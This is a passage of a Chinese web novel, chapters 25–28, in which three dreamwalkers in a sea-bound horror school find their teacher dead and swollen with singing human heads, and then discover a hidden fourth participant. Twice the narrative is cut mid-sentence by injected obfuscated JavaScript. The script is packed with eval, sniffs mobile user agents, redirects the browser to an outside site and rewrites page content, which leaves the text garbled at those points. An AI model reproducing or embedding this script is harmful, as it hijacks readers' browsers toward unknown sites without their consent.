“这些难道是我捏碎的吗?可我为什么什么都不记得?我有这么大的力气单单用手就能撬开这些东西吗?” “阿烛,但我知道,就是我。” “无论怎么清洗,第二天一早就会出现新的痕迹。” “这一切就是我做的,我知道。” 他慢慢抬起头来,将双手举到夏烛面前,指缝中还残留了一些碎片。 难怪夏烛总在风眠身上闻到肥皂的味道,大概是不相信自己在没有意识的状态下,趁着夜色掩护疯癫般趴在窗户上,探出身体,只为了撬开墙上的藤壶,将其中鲜嫩的软肉统统塞进嘴里,那种饥渴感就像兽性无法压抑,他只能一遍遍冲刷那些碎片,洗掉那股腥味。 夏烛上前一步,风眠却下意识后退。 不过都没关系了,她能看清他的眼睛。 比两个女生加起来还要长的睫毛下面,瞳孔是和风枫很像的糖浆色,看上去似乎和从前没有什么不同,眨眼之后眼球与眼睑之间却出现了一层膜,迅速遮蔽了瞳孔又藏进眼球深处。 他的睫毛有些颤抖,像一只刚刚羽化后的蝴蝶,一种夏烛没见过的恐惧从他眼底升起。 “这个梦是不同的阿烛,魉到现在没有露出过痕迹,没有一惊一乍的桥段,没有张牙舞爪的怪物…第一天醒来我就隐隐感到差别,作为魍魉梦境一贯的风格,这里似乎缺少了什么,现在我总算明白了,之所以没有什么怪物,是因为,我好像就是那个怪物。” 不能再等了,夏烛下定决心,即使她赤手空拳战斗力与这些拥有特殊能力的魉相比不占优势,但她还是认为这个先锋得自己来做,兄妹俩看她的眼神,让她的心口处酸酸涨涨的难受,她必须得做点什么。 雨势变小,天色微变,第一次好久未见的太阳在天际线吝啬地散出了一丝金光。她让风眠先回房间休息一会儿,钟声估计很快就会响起,这个梦境世界的新一天再次来临,今晚,她会翻出学校,爬上悬崖。 曾经一闪而过的黑影,也许就是停滞不前时的转机,校园内不允许随意走动,她只好去校外看看,想必也不算违规。 25.潮水箴言 入梦第六日。 “十一月灰蒙蒙的天空” “Ere the grey skies of November” “在扑灭我青春的渴望之火之前,” “Quench’d my youth’s aspiring ember,” “我曾经感受过所谓的幸福” “Liv’d there such a thing as bliss” … “但时间之流,奔腾不息” “But the stream of Time, swift flowing” “带来一知半解的折磨” “Brings the torment of half-knowing” “迷蒙地向前,茫然的流淌” “Dimly rushing, blindly going” “穿过无人烟的旷野” “Past the never-trodden lea” … 所有人捧着新的诗集,每一个字伴随干燥的喉烟吐进空气。一种冷意从脚底升起,今天的雨磅礴却又绵密,大概是因为没有风的原因,它们垂直地掉落,天地间织起烟纱。 海面起了大雾,往外什么都不看不见,仿佛世界只剩下这间教室,连同以往没有边界的边界都一起消失。 夏烛机械地念着诗歌,越是试图去理解越是感到内心充满空虚,烟雾一样。如果她刻意去抗拒这种感觉,太阳穴连着眼眶的位置就会痛到不行。 她将头偏到一边,风枫坐在光线并不好的窗下,她的轮廓淡到快隐在雨雾之中了,双手似乎在颤抖,眼神飘忽,嘴巴里念着诗句看上去却更像神经质地喃喃自语。 文学课过后就是数学课了。 她的面容好像也开始模糊起来,某些时候夏烛的余光瞥到她,会认为那是另一个班上的同学罢了。 “嘶——” 眼眶又开始痛,神经一跳一跳的,不知道是哪里出了问题。 边念着诗,边将视线移到讲台上。 今天的老师看起来有点不同,头上戴了顶毛线冷帽,看起来鼓鼓囊囊,往日腿上的线条紧紧贴着骨骼,如今却穿了一条很是宽松的裤子,走来走去的时候,裤管合在一起,裤脚拖到地板上像极了长裙子。不知道今天是会有什么事发生,因为男人看起来亢奋激动,都不在课桌之间巡游了,只是站在那里,心不在焉地盯着窗外发笑,就像在等待一个节日盛典,而盛典上主持人会当众宣布他将成为某个耀眼的存在。 她隐隐有种不好的预感,某个节日盛典就像真的会到来。 “我们马上就能出梦了,今晚我会去校外看看。” 不过,吃饭的时候夏烛还是坚定地跟两人这么说。 “你自己一个人行动太危险了,俺和风眠陪你。”风枫虽然状态不是很好,但是遇到这种事,她总有一种莫名其妙的责任感,好像保护大家是她天生的职责。 所以说完这句话,她紧接着也意识到了自己身上出现的问题并不是积极正向的,于是再次陷入自责和焦虑当中。 夏烛握住她的手,“我有自愈的能力,还能让小鸟小花起死回生,说不定我干脆就是不死之身,如果遇到危险刚好可以试试。” 她觉得自己也有些不一样了,在梦中的几天说的话加起来比前几年还要多,甚至某些行为算得上是强势。 不知道是不是魉的能力在作祟。 被夏烛拒绝后,风枫的信心似乎又大大降低,她忽然扔下手里的汤匙,转而对着风眠。 “这是俺们第一次进红色级别的梦,这个梦奇奇怪怪的…大家…大家不会真要死在这里了吧?”她刚说完,眼神倏忽又亮了起来,反手握住风眠的手腕,语气坚定地安慰他,“不会的风眠,不会的,有俺在呢,一定会出去的!” 说完又低下头搅动自己盘中的糊状食物。 一顿敷衍的晚餐结束后,夏烛先回了房间穿上雨衣,经过窗口的时候看见院子里水池边有个学生正在打捞漂浮物。 这个看不清面容的人动作还算麻利,不多久就完成了任务上了楼,天色也暗了下去,按照这个世界时间规律,这个时候刚好是所有人上床睡觉的时间。 雨天视线模糊,是个很好的掩护,夏烛决定出门。 门打开,风眠出现在门口。 其实她也不意外,吃饭的时候风眠就欲言又止,恐怕会担心她单独行动,但夏烛的态度又很坚决。 “真的不需要我跟你一起吗?” “如果是别的情况,多个人也许更好,但现在小枫更需要你,今晚说不定会有什么发生,你们最好呆在一起,我很快就回来,只是去确定一样东西。” 风眠点点头,他也不再多说,转身敲响了妹妹的房门,夏烛说得没错,今晚最好还是呆在一起,他的眼皮总是跳。 视野像是游戏屏幕,只能随着脚步地前进缓慢加载图像,她走到大门的矮墙附近,首先确认了门是锁上的,免得她费力翻墙后发现其实是可以从大门直接走的。 拳头大的锁头被铁链牢牢拴住,还是得翻墙。 夏烛退后了几步,一个蓄力蹬上粗糙的土墙,双手撑住墙头轻松翻到了校外。 堤岸接近海面,此处的雾气更大,走在堤岸上也许稍有不慎就会踏空跌进大海,夏烛只好贴着断崖边走,直到找到一处还算缓和的,有着力点的地方,决定从这里开始爬。 好在今天没有起风,只是石面比较湿滑,每次下手都得稳当。 这个断崖不算太高,没费多大的力气就爬了上去,夏烛小时候最爱爬树,越高越好,爬到最顶处的树冠,天也更广,地也更阔,高大的爷爷变成小小一个,站在树下朝她挥手。 站得越高,烦心的事情都会变得微不足道,想着这个世界上还有那么多角落需要探索,不应该忙着难过忙着烦恼。 那已经是好多好多年前了,平原上最高的那棵树春色常在,爷爷却变成了永远小小的一座土包,世界还大,有一段日子夏烛不确定自己还要不要去探索,毕竟无论去到哪里再回来的时候也没有人在等她,而冒险的意义则变成了沙漠上的一棵风滚草,不如说是流浪。 但现在站在比无边大海更高的断崖上,她坚信自己一定要做些什么,不仅是现在,而是未来的每一刻。 风滚草似乎选择在一片绿洲附近扎根,它告诉自己这里土壤湿润,风景优美,适合生存,其实只是看见了另一株草在不远的地方停了下来。 断崖上面的视野并不开阔,周围都是白茫茫一片,她小心翼翼地往前走,凭着记忆中黑影闪过的位置走到了断崖的尽头,雨衣的帽檐有些遮挡眼睛,她用手微微扶住,脚下都是碎石和小小的积水坑,没有那日一闪而过的黑影。 石块是暗色的,表面被风化,杂乱堆砌在一起,如果有什么掉落在这里或许很难发现。夏烛的镜面上起了一层雾气,她用手指抹开其中一边,一个闪亮的东西就在乱石的夹缝中被发现。 她赶紧蹲下拨开石头,擦掉眼睛另一边的雾气,将那东西捡了起来。 她想了千万种结果,都没有料到会是这个。 一支黑色的,流光溢彩的羽毛,像削薄的乌金偶然遗落。 在这个所有生物都有被创造理由的梦境世界里,一片似曾相识的羽毛出现在崖顶的岩缝中。< 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它原本的身躯应该是瘦弱的,但是装了一肚子的人头就被胀得巨大,最后不堪重负地破掉了,流出一地肚肠和数十颗人的脑袋任由雨水不客气地冲刷。 那些脑袋泡在胃液中却不见腐蚀,全都保持着鲜活感,有男有女,有年轻的也有中年的,有的甚至脸蛋红扑扑,似乎还气血丰盈地活着,被几个浮肿的男人头压着的那颗脑袋甚至还戴着眼镜。 这东西的下身已经不成人样了,它的双腿就像失去了骨头,软绵绵像两条死去的沙虫一样地摊在地上,皮肤表面还长满了大小不一的类似吸盘的东西,连带着它十个蜷曲的手指尖上都长有一个肉感十足看上去Q弹无比的吸盘。 看着它细弱脖子上顶着的脸,以及这身衣服和旁边地上的毛线冷帽,夏烛总算知道了今天的校外探险为什么出奇顺利。 地上这个糊作一团的生物,就是他们的老师。 夏烛隔着暴雨和两人对视,正要上前,那堆东西突然开始抽搐颤抖,一种不安的嗡嗡声从肉堆里传来,仿佛来自地心低频的嗡鸣,紧接着所有的人头一齐睁开了眼睛,张开了嘴巴,它们都朝着一个方向,水池的位置,无比整齐地发出相同的吟诵。 “昨日!” “今日!” “昨日!” “今日!” “旧神!” “恩赐!” …… 男男女女的声音重叠在一起,如同一个小型的合唱团,而雨水似乎成了歌厅的壁垒,将那声声唱颂十倍放大带着颤动的回响传到在场每一个人的耳朵里,只一个音节就能震荡五脏六腑,搅动脑浆,仿佛声音是从自己的身体中,从每一个细胞里发出的,那种感觉,是可怕的如影随形,是无处可逃。 夏烛感到一阵晕眩,双腿软了下去,她吃力地抬手捂住了耳朵,被雨水遮挡的视线里风眠死死地抱着风枫,双手捂着她的耳朵,但自己却只能生生承受这股无法言说的力量。他感觉到自己的身体正在变得黏腻,好像快要融化,鼻腔中充斥着一股腥臭的鱼腥味,有什么东西从里面流了出来,也许是血,也许是脑脊液,但他已经无法思考。 吟诵越来越响,身后的水池漫出脓液一般的绿水,就快要爬上风眠的脚背。 叽里咕噜的不知道在说什么。 “旧神,恩赐是吧?”夏烛咬紧后槽牙,撑着地面站了起来,没有了遮挡,吟诵像一把利剑插入她的耳道,直捣大脑,一股温热的液体也从她的鼻腔中流了下来。 她现在终于知道这个梦境的执念到底是什么了。 神这种东西,还是存在在文艺作品中就好。 她艰难地走向那摊东西,一脚踢散了人头堆,所有吟唱瞬间消失,雨声重新接管一切。 26.潮水箴言 “没事吧?” 风眠看上去并无大碍,只是有些流鼻血,而小枫似乎才反应过来刚刚发生了什么,她紧紧抓住哥哥的手,看着他的鲜血流到下巴上。 还有夏烛,她用手背随意抹了一把,大部分血渍被擦到了脸颊旁,面对风枫无措的眼神,只好支起嘴角告诉她只是小事一桩,这种反应类似上火,还轮不到风枫大人出手。 她可是她们三个当中最有实力的那一个,这种角色往往最后出场,带着坚定的眼神和同伴之间的羁绊不是吗? 风枫只是呆呆地点了点头,没有再说什么。 闹剧结束,其余的学生似乎并不关心刚刚躺在地上的变异生物是不是他们的老师,见没有别的热闹可看了又面无表情地回了自己的房间, NPC的觉悟罢了。 夏烛从仓库里扯了一块黑色油布,盖在那堆尸体上。 “至少明天不用抽背了。” 她蹲到风枫面前,这下子排除了老师就是魉,但同时也说明真正的主角还藏在人群背后,对她们来说无疑是危险升级,以防万一,今晚小枫和夏烛一起,睡在她的屋里,而风眠就在隔壁风枫的房间。 她从背包里拿出准备的毛巾,给风枫擦着头发,后者缩在床头的角落一言不发,也不能怪风枫,她们之前只进过绿石级别的梦,而第一次进阶难度,就撞上了她的软肋弱点,只需要多给她点时间,夏烛认为风枫一定能恢复过来。 擦完头发后,两人都和衣躺在床上,今夜的信息量有些大,夏烛开始在脑袋里梳理信息,而身边人的呼吸逐渐变得绵长。 之前她们一直没搞清这个梦境产生的原因,梦主到底是因为压抑的学习生活还是别的什么执念,直到刚刚目睹了人头合唱团表演的曲目,她才终于有了些眉目。 不论是猎奇图片刺激神经,还是洗脑的诗句以及重复的数字图形,又或者无处不在的诡异符号和莫名其妙的凝视活动,魉在梦中造神,而以上行为皆是传教。 在不断的精神污染之中,就会渐渐相信眼前的生活,开始从心底里升起一种隐秘的期待,期待果真有神的存在,期待自己将会成为那个被选中的人,期待一切的恐惧和差异都会消失。 而神到底是什么,夏烛暂时将它定为一种未知的恐惧,当风枫为即将到来的数学课产生真实焦虑的时候,神的种子就已经在她的心中种下,她的脚后跟沾上了尸体才有的粘液,风眠清早醒来总会忘记昨晚的事,这些真的是他们正在变异吗? 比起认为两人内心开始动摇进而发生变异,夏烛更相信这件事情的因果被本末倒置。 藏在暗处的魉利用自己创造一切的能力在两人身上做了手脚,再适当给予一些暗示和所谓的“蛛丝马迹”,让兄妹俩相信自己确实在变异,只有当自己都坚信不移的时候,邪神才有入侵的可能。 而风眠身体才会真实的发生变化。 理清了魉的手段,最关键的就是动机。 他为什么造神,而他在其中扮演的角色究竟是旧神最虔诚的信徒或者干脆就是旧神本身? 还有扮演老师角色的男人为什么也会被神惩罚而死,如果说第一个死亡的学生是不尊重神创造的生命,但老师无论怎么看都是一个极端的神明追随者。 “飞鱼化”的尸体对应这个男生的不尊重行为。 而老师挂满各式人头的形象又代表着什么? 这些答案或许只有找出魉才能得知了。 夏烛不知道自己是什么时候睡着的,她只记得睡着之前正在梳理关于魉的线索,各种线索明暗交错,像一团糟糕的乱线,原本应该越理头脑越清晰亢奋,可她竟然睡着了。 醒来的时候,天色未明,世界处在一种雾蓝色的静止状态下,就像那晚需要凝视月亮的时刻。 风枫还在熟睡,她侧着身体背对着夏烛睡在内侧,红棕色的头发大半遮住了侧脸,背后的起伏规律而又温和。 能睡觉就好,夏烛想,无论有天大的事,只要能睡个好觉那就不算太坏。 黑暗中视线就算慢慢适应,很多东西看上去也并不清晰,只有一些大致的轮廓,深夜,听觉总是比视觉灵敏的。 所以当夏烛正要下床去洗把脸的时候,她听到了一种极其微弱的声音。 类似缓慢的呼吸,但并不属于自己或者床上的风枫。 睡前没有摘掉眼镜,她小心翼翼地环视了一圈房间,没有别的异样,就在她以为自己听错的时候,双眼扫到了黑乎乎的大门口。 这扇门是旧木头做的,和门框契合得不算太好,月光透过地面与木门之间的缝隙,在房间内投射出一片小小的亮光。 门缝应该是直直的一条,可现在那道亮光中间多出了两块阴影,就像有人正站在门口,贴着门板一样。 两块阴影面积很小,如果不仔细看是不会发现的。 夏烛尽量平复自己的呼吸和心跳,一动不动地盯着门外,然后那两块阴影在她的注视下开始发生缓慢的变化,那种变化过于顺滑,好像某种软体动物贴着地面爬行,并且产生了一种湿滑黏腻的拖行声音,那声音越来越远,阴影也越来越小,仿佛正在离开。 她不再犹豫,以最快的速度和最轻的动静翻身下床冲到了门边,拉开了门,只看见地上一道水痕一路拖到了楼梯口消失不见,她回头看了一眼熟睡的风枫,朝门外踏出了一步。 只一步,身后的房门瞬间倒退消失,地面稳定不动但周围的一切都在旋转变化,等一切停止,她才发现自己站在了院子中间,水池边。 而原本应该躺在此处的尸堆已然不见,月光清透地洒满整个院子,连面前这栋破楼也笼了一层轻盈洁白的纱。 院子里空无一人,除了夏烛自己,无论是黑影还是别的什么都不存在,夜风带着海水地气息沙沙吹动小楼外墙上挂着的藤蔓和红藻,此刻的感受竟然有说不出的惬意。 海风,月光,摇曳的植物,清晰的空气,没有云层的天空。 如果不是在梦境里,她已经想去边上甩一竿了。 直到背后的汗毛突然莫名竖起,一种未知的恐惧立刻爬上夏烛的全身,她身体内的所有细胞都在尖叫。 “逃!” 身体机能只有这一个指示,夏烛甚至没有思考,更没有时间回头,在接收到信号的瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797799|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就迈开双腿朝楼梯口跑去。 大脑里只剩下跑这个动作,可是她记得这栋楼只有三层,脚下的楼梯数早就超过了68。没有任何办法,那种如影随形地压迫感一直紧紧贴着她的后背,就算有二十层楼那么高她也只能一直跑一直跑。 心跳越来越快,感觉要超出极限,一种窒息感漫出喉咙,全身就像被大雨淋湿一样,身体却感觉不到燥热,反而是无尽的冷。 夏烛一直跑一直跑,跑过无数个楼梯的拐角,她的呼吸急促到已经吸不进任何氧气,所有的行为似乎只是机械地在运作,眼前是不断变化的楼层,是紧接着消失又出现的拐角,她的视野开始模糊不清,心跳加剧反映出的似乎不再是恐惧,而是一种莫名的兴奋。 原本已经达到极限的身体开始恢复运转,变得好像比她从前更强健百倍,轻轻一步就能跨上十层的台阶,口腔连接气管肺部的通道似乎亮起了绿灯变得无比通畅,她相信此刻自己的肺活量一定很惊人。 那种兴奋的感觉又来了。 到底是什么? 到底是什么在追她? 不对。 她的视野前方出现了一个黑影,很快又在转角消失不见。 那是什么? 夏烛握紧了拳头摆动起手臂瞬间提升了速度。 那是什么! 想要追上那个黑影,迫切地想,也许是一切的关键,也许是出梦的突破口,只要抓到它,风枫就不会再害怕,风眠也不会彻夜担心自己将变成一个没有意识的怪物了。 一定要追到它!夏烛告诉自己,就像一千五百米的长跑比赛,胜利的线绳就在前方,她已经做好准备冲刺。 下一个拐角,前面的身影似乎力竭明显踉跄了一下。 夏烛的脸上不自觉浮起一个充满胜利喜悦的微笑。 马上就要抓到它了。 她向它伸出了手臂。 黑影猛地转过身来。 汗湿的头发,一双绝望的眼睛,苍白的嘴唇。 是她自己的脸。 夏烛的心有一秒停止了跳动,她猛然从床上坐起。 天色未明,窗外面还在下着绵绵夜雨,空气中充满潮湿的味道。 风枫却不在身侧了,刚刚的一切好像只是一个梦。 “小枫?” 她试探性地叫着缩在床尾的人。 “小枫你怎么了?”她膝行靠近风枫,模糊的光线下风枫睁着一双大得出奇的眼睛,一动不动地盯着夏烛,手臂抱着自己的双腿,呈现一种防御姿势。 “发生什么事了?”夏烛将自己的手轻轻覆在她之上。 她的眼睛快速眨动了几次,然后指了指窗外。 “院子里的尸体不见了。”语调有些奇怪。 “不见了?”夏烛偏过头去,青金色的光开始从海天交接的地方散出,雨幕中院子里的水池边空空荡荡。 “你有看见是怎么不见得吗?” “看见了。”风枫点了点头,一缕头发从耳后滑出晃荡在眼前,“是你。” “是你在昨夜下了楼,将尸体裹在黑布中扔进了水池。” 27.潮水箴言 夏烛感到头皮一紧,跟随着动作的幅度她感觉到了脚踝处的冰凉,回头一看发现裤脚不知在什么时候湿透了,风枫的眼睛,让她下意识收回了手。 可是风枫却立马反握住了她,将她拉回了一些,两人的距离变得更近。 “虽然大家好像都有些不同程度的变化,但是俺相信,俺们三个这么厉害,一定,一定会出去的。” 她靠近窗户一侧的脸镀了一层浅浅的金色,将轮廓的边缘虚化,连同那双蜜色的眼睛也重新亮起来。 夏烛朝外面看去,第一次在这个世界看见了太阳。 无论云层如何的厚,总会在新的一天再次升起。 三人还是去了教室,按照规律今天应该是数学课了。 没想到的是,即使老师可能已经沉入大海了,钟声依旧照常响起,学生们也都乖乖坐在自己的位置上,甚至黑板上出现了和老师字迹相同的科目名称。 所有人都一言不发,气氛实在诡异,只要一想到此时此刻魉或许就和自己共处一室,夏烛就有些隐隐地兴奋。 这些情绪当然是不正常的。 小枫告诉她,昨天半夜她突然坐了起来,面无表情地下床拿起挂在门上的雨衣就要出门,无论风枫怎么叫她,夏烛都像没听到似的。 原本以为她可能是三人当中异变程度较轻的,但现在看来也许并不是这样。 最近她的行为总是透露着反常,这种亢奋感和强势是从前都没有的,但对夏烛来说,这未必不是件好事。 就像某些人发烧或者喝醉,血脉扩张,精神处于极度的活跃状态下,就能趁机做些突破性的举动。 于是,夏烛在众目睽睽之下走上了讲台。 她清了清嗓子,类似的突发情况并不在众NPC的程序设定之中,他们茫然地抬起脑袋,脸上的表情就像卡壳了一样,夏烛一一扫过每一张脸。 狡猾的魉并没有这么快露出马脚。 “我有一道数学题,思来想去就是无法解决,这道题目实在让我夜不能寐,但也许是能力有限,始终没有任何的突破口。” “想请教一下各位同学,有谁能帮我解答吗?” “有三名游客来到一个旅店,每人支付10元拼房入住,实际支付了30元,老板发现房费只需 25元,于是让服务员退还5元。在退还的途中服务员私藏了2元,只退给三人每人一块钱,即每人实付9元。此时计算,三人共付了9x3=27元,偷藏的2元,总计27+2=29元,问题就是最初支付的30元,还剩一元去了哪里?” 说完她再次观察了所有人的反应,并故意露出一副苦恼不解又有点不好意思的表情。 “我知道这是一道很简单的逻辑问题,奈何最近脑子不太灵光,越解不出来越想知道。” 夏烛站在讲台上唱完了这出独角戏,意料之中的,有0个人在意。她等了一会儿,表情悻悻地回了自己的位置上。 这段插曲很快就被时间磨去,三个小时的数学课就在14个人的干坐中结束了。 毫无意外,大家还是会按照平时的规则去食堂用餐。 夏烛让兄妹俩先去食堂,她过会儿再去。然后在人都走光的教室里磨蹭了半天,最后慢慢悠悠地回了自己的房间。 刚打开门,一低头就发现通过门缝塞进了一张纸条,拿起来一看,正是那道题的答案。 她将纸条塞进口袋里去食堂和风枫他们汇合。 没有了老师,食堂依旧自动出现了那三道标准的鱼宴,热气腾腾仿佛新鲜出炉。 “那么问题就来了,老师平时究竟呆在哪里?” 食堂这会儿已经只剩她们三个了,夜色即将来临,就算再难得的阳光也得退场了。目前就是最好的机会。三人来到食盆的背面,沿着墙面摸索。 冰凉的触感带着微妙的震颤传至指尖,一股锈味不知道从何处飘来。 食堂里没有亮灯,只有三面窗户透进来少许铁灰色夹杂绯色的光亮,海水无声起伏在外,以及大门旁边亮着绿油油的安全出口指示,有种说不出的苍凉,他们好像真在一艘失去了方向的行船上,将会漫无目的地漂到死亡。 彼此的身影看上去都有些模糊,夕阳只肯照拂头顶一些发丝,风家两个人的脑袋更像是着了火一样。 “这面墙后好像是空的。”风枫小声地说,她半蹲在地上将脸贴近冰凉的墙面,轻轻敲击就能传来一阵空旷地回响。 风枫竖起一根手指,一条极细的绿色藤条从她指尖长了出来,弯弯曲曲地顺着墙上几乎看不见的缝隙钻了进去。 藤条似乎贴着内部的墙体摸索,只听到寂静中传来一声轻微的沉闷的转动,墙面破开向内塌陷。 果然有一道门。 “俺来开门你们都往后稍稍!” “不行,门后面不知道有什么危险,我来开。” 夏烛蹲在已经半开的门旁边,这种关键时候,两人竟然为谁来开门吵起来了。一股浓烈的鱼腥味已经从门后面抢先出来,她看了一眼兄妹俩犹豫了一下,伸出手戳开了门。 没有想象的危险,里面似乎就没有活物,而是充斥着让人恶心反胃的腐败气息。 “那个男人果然就藏在这里面?”风枫探头进去。 房间的尽头有一扇圆形的窗户,就像船员住的舱房,落日正被死死框在其中,所有的光辉结成一束,投射到地板上堆积成山的死鱼中,与那些灰败的不堪的物质对比在一起,反而叠出一种类似文艺复兴时期油画的风格。 怎么说呢,有些凄凉并且壮烈。 鱼堆下面已经流出浓绿色的尸水,载着一些残破的鱼鳞流到三人脚边。 “好恶心…俺有一个不详的猜测…”三人捏着鼻子无声的对视了一眼。 这个死鱼堆大概就是他们吃过食物的原材料。 这个地方的结构也像是船舱的后厨,有一些置物铁架立在两边,房间不大,洗手台案板灶台倒是一应俱全。 水池不知道被什么堵住了,也许是鱼鳞或者内脏,浑浊的水几乎要溢出来,水龙头还在滴滴答答,一下又一下往这个极限的水池里注入能让洪水一触即发的新力量。 他们在一堆杂物后面发现了一张行军床,床头支着几把鱼叉,鱼叉上锈迹混着血迹,有些似乎还没有干涸。 床边的墙面上从天花板的地方吊下来一根绳,风枫伸手轻轻拉了一下,一声熟悉的钟声忽然响起,吓了三人一跳。 “你别给学生们又摇起来了。” 看来担负照顾所有学生责任的老师,每晚就蜷缩在这张小小的床上,也许天不亮就得去叉鱼,回来又要做饭,又得摇钟再准时去上课。 想想他也算任劳任怨,甚至有些心酸,然而越是如此,越是显得他在其中扮演的角色特别奇怪。 既是被压迫者,又忠心耿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801982|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耿,却得了一个不算好反而特别坏的下场。 “不对啊,如果这些平常都是他在做,那今天黑板上的字,包括早上的钟声刚才的晚饭,又是谁在执行呢?” 风枫的话冷飕飕地和着周围的鱼腥味,给这个诡异的氛围添了一把调味的柴。 气氛更加怪了。 “这就是问题的关键了,我们只需要去一地方,就能确认。”夏烛的镜片在黑暗中有些反光,镜片后的眼睛却像两盏烧得正好,几乎爆出灯花的烛火。 三人走到水池旁边的时候,今天负责打扫卫生的同学看上去刚完成自己的任务,也不知道他是如何得知值日的顺序的。 也许是老师托梦给他?风枫的脑袋一团浆糊。 等值日生离开之后,他们挤到仓库门边。 这个没有窗户的房间闻起来有一种不流通的怪味,连日的雨似乎让其中的杂物都开始不同程度的发霉了,连灯也没有。 “俺就不去了,俺在外面等你们。”美好的夕阳此刻完全消失了,地面上出现一些圆形斑点,激起尘土,竟然又开始下雨。 风枫给了他们两盏津津灯照明用,她实在不想进入这个仓库,看上去她现在似乎比风眠还要更怕黑,也许这个梦境结束之后她得去看看什么心理医生。 但是普通的医生听完她的描述,估计直接下定论,干脆直接让人把她打包送进精神病院了。想到这里风枫觉得有些好笑,靠着仓库的墙面蹲在了水池边上。 “下雨了,你往里面站点,别淋湿了。”风眠妈妈好心叮嘱。 ”俺又不是小孩儿。”风枫没有回头,更没有动,依旧耷拉着脑袋蹲在那里。 操心的哥哥无奈摇了摇头,托着津津灯进屋找夏烛去了。 他见夏烛在杂物堆着找了一圈似乎没有得到自己想要的结果,对着走进来的风眠摇了摇头。 他走到夏烛身边,也举着灯四处查看。 “阿烛,你要确认的是什么?” 夏烛似乎也无法肯定,语气有些犹豫,“刚刚小枫的话没有错,我们现在最关键的就是找出…” 话还没说完,她好像看见了什么,朝着一旁的角落走去。 风眠见她盯着墙面上挂着的签到表一动不动,也把自己的灯往上面照。 水池值日签到表,从上往下数已经轮了六个人了。 1号夏烛,2号风枫,3号风眠… “这有什么问题…”最后一个字还没问出,风眠也发现了不对的地方。 按照这个顺序,排在他后面还有一个4号,但是编号旁边并没有写上自己的名字,只有一个孤零零的“4”,后来的第五个和第六个值日生却都只有名字没有编号。 那两个人夏烛都见过,没有什么异样,值日生确实是会在15个人中轮流一遍的。 “这个意思难道是,只有从梦外进来的人才会有编号吗?”风眠指了指自己名字前的数字三,然后慢慢往下划去,“那,这个4号是…” 他猛地收回手,一股恶寒从尾椎骨追上头顶,津津灯的光芒下,夏烛也转过身来与他对视,在她闪烁不断地眼色中,他听到她的声音似乎不太真切,说出了那个让人不寒而栗的答案。 “从始至终,这里除了我们,还有第四个人。” 她早该知道,那第四个人的存在。 门外忽然传来落水的声音。 “小枫!” 28.潮水箴言 雨点掉到水池里的时候,会在水面上激起一圈圈的涟漪,这种降雨的节奏本应该是无序的,连起来却有一种浑然天成的韵律,她猜想这大概就是自然的乐章。 按理说梦境世界都是假的,什么自然不自然,通通都是魍魉捏造的。可她还是就这么接受了这里的一切,时间似乎从来都是这么短的,海风从天边而来,刮过楼顶垂吊的枝藤,最后向落日的方追赶而去,一天就这么结束了。 她在慢慢习惯这里的一切,虽然知道这种习惯并不正常,可不知道为什么她就是不想去抗拒。 呆在这里的时候风枫总是莫名其妙地感到难过,看着大海也难过,看着墙角的植物也难过,可她记得难过这个词从前离她很远的。 老妈说她从小就没怎么哭过,即使出生的时候风眠躺在隔壁一直哇哇大叫,可她也只是睁着一双大眼睛冲着看起来有些疲惫的母亲微笑。 多懂事的孩子。 大家都这么说。 再到后来风枫有了个天才少女,家族希望的称号,她更是时刻保持着高昂的情绪仰着骄傲的脑袋像一只窗台上扇动翅膀的小鸟。 天才少女嘛,那是与生俱来的,不需要多少努力,只要想要就能做到。所以她但凡露出一个低落的表情,肩膀因为疲惫而往里缩了一下,大家都会焦急地赶来关心她。哥哥的眼睛会垂下,老妈会坐在很远的地方一句话不说只是静静地看着她。 她不想看到爱的人露出难过的表情,她希望尽力做到让每一个人都永远快乐。 当然,快乐很难,永远更难,但她可是风枫,没有什么事是风枫做不到的。 她的出生代表着要为风家解决一切的难题,代表着让周围的人都开开心心。 只是最近,总有一个声音苍蝇一样的在她耳边围绕。 那个声音一直问她,你是谁? 真是可笑,风枫想。她当然是风家的天才少女,正义的不明官,风眠可爱的妹妹,老爸老妈永远的骄傲。 这个问题有什么难的,如果是魉在搞鬼,它未免也太看不起自己了。 可是没完没了的,声音不肯放弃,在她醒来的时候问,睡觉的时候也问,梦里问,在阿烛跟她讲话的时候还问,风枫被吵得没有其他的心思去关心找魉这件事了,她越是花费精力集中精神去抗拒,越是一遍遍清晰地反问自己。 直到那天夜晚,或者说是清晨。 伴随着空灵的钟声响起,脑袋里的声音第一次改变了问题。 它问风枫,你为什么存在? 她第一次放下所有的情绪,仔细地去思考这个问题。 为什么而存在? 然后犹犹豫豫地给出答案,为了做不明官?为了分担家族的压力?还是说为了老妈高兴?可每一个都令她感到没来由的难过,就好比’你是谁’这个问题的答案从来都不是“风枫”两个字一样。 剩下的时间里,她一直在思考。 水池看上去很深,可打扫的时候注意到从池边到池底大概就一米多一点,也许是水的颜色,让它看上去隐隐有不见底的趋势。 阿烛和风眠进了仓库,其实从今早起来她的喉咙就有些不舒服,直到刚才看见黑乎乎的仓库内部,那种窒息感再次袭来,所以她打算等在门外。 比较幽深的水域总有蛊惑人跳进去的魔力,就像此刻池水晃晃悠悠,看得她头晕目眩,只想伸出手指搅动一下,让它不要再诱惑自己。 于是她也这么做了。 